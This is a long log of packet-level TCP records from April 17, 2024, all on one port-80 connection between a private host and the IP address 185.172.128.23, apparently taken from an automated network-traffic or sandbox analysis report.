Apr 17, 2024 06:57:14.465030909 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.465030909 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.465059996 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.465281963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.465306044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.465328932 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.465353012 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.465358019 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.465367079 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.465394974 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.465414047 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.465606928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.465651035 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.465684891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.465701103 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.465718031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.465723991 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.465749979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.465749979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.466214895 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.466234922 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.466252089 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.466268063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.466268063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.466269970 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.466289997 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.466303110 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.467519999 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.467536926 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.467557907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.467581987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.467581987 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.467598915 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.467607021 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.467623949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.467628956 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.467641115 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.467649937 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.467655897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.467674971 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.467674971 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.467693090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.467775106 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.467799902 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.467818022 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.467824936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.467834949 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.467842102 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.467875957 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.467875957 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.467911005 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.467927933 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.467947960 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.467956066 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.467974901 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.467982054 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.467992067 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.467998028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.468014002 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.468024015 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.468035936 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.468040943 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.468055964 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.468072891 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.468072891 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.468097925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.468122005 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.468123913 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.468138933 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.468142033 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.468153000 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.468158960 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.468193054 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.468193054 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.468396902 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.468439102 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.468472004 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.468489885 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.468504906 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.468523979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.468524933 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.468554020 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.468732119 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.468774080 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.468811035 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.468828917 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.468843937 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.468858957 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.468889952 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.468889952 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.469095945 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.469139099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.469157934 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.469177008 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.469192028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.469204903 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.469235897 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.469235897 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.469508886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.469556093 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.469602108 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.469619989 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.469635963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.469645023 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.469670057 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.469670057 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.469954014 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.469970942 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.469986916 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.470005035 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.470005035 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.470017910 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.470025063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.470061064 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.470211029 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.470238924 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.470252037 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.470256090 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.470271111 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.470276117 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.470292091 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.470309973 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.495481968 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.495501041 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.495517015 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.495531082 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.495646954 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.495647907 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.495647907 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.495647907 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.496398926 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.496419907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.496436119 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.496450901 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.496450901 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.496490002 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.496490002 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.496490002 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.521085978 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.521104097 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.521121025 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.521136045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.521246910 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.521246910 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.521246910 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.521246910 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.521347046 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.521374941 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.521392107 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.521392107 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.521406889 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.521414042 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.521434069 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.521454096 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.521761894 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.521780014 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.521796942 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.521816015 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.521821022 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.521821022 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.521853924 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.521853924 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.522069931 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.522113085 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.522156000 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.522172928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.522187948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.522202969 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.522202969 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.522232056 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.522581100 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.522624969 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.522667885 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.522685051 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.522701025 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.522711992 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.522742987 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.522743940 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.523006916 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.523049116 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.523085117 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.523102999 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.523118019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.523135900 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.523135900 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.523164988 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.523325920 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.523351908 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.523370028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.523369074 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.523384094 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.523389101 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.523411036 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.523435116 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.523588896 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.523629904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.523689985 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.523706913 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.523722887 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.523740053 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.523740053 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.523770094 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.524082899 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.524127007 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.524132013 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.524151087 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.524164915 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.524175882 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.524199963 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.524200916 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.524780035 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.524796963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.524817944 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.524830103 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.524830103 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.524833918 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.524852991 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.524867058 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.525520086 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.525563002 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.525580883 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.525600910 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.525614977 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.525625944 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.525657892 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.525657892 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.525875092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.525918007 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.525975943 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.525993109 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.526007891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.526015997 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.526046038 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.526046038 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.526201963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.526243925 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.526292086 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.526309013 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.526324987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.526334047 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.526357889 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.526357889 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.526572943 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.526602030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.526614904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.526619911 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.526633978 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.526638985 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.526654959 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.526674032 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.526918888 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.526936054 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.526956081 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.526957035 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.526971102 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.526988029 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.527007103 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.527276993 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.527314901 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.527322054 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.527338028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.527352095 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.527364016 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.527383089 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.527398109 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.527662039 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.527683020 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.527698994 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.527714014 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.527714014 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.527714014 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.527739048 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.527760029 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.527980089 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.527997971 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.528012991 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.528028965 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.528053045 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.528053045 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.528053045 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.528089046 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.528264046 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.528305054 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.528306007 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.528321981 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.528337955 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.528347969 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.528367043 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.528398037 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.528666019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.528685093 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.528702021 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.528718948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.528719902 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.528719902 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.528753996 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.528754950 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.528918028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.528955936 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.528975010 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.528991938 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.529006958 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.529016018 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.529040098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.529040098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.529447079 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.529493093 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.529509068 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.529525042 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.529540062 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.529552937 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.529578924 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.529578924 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.554323912 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.554342985 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.554358959 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.554374933 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.554493904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.554493904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.554493904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.554493904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.554536104 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.554583073 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.554584980 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.554600000 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.554614067 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.554634094 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.554634094 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.554653883 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.554811954 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.554855108 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.554867983 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.554884911 CEST	80	49730	185.172.128.23	192.168.2.4
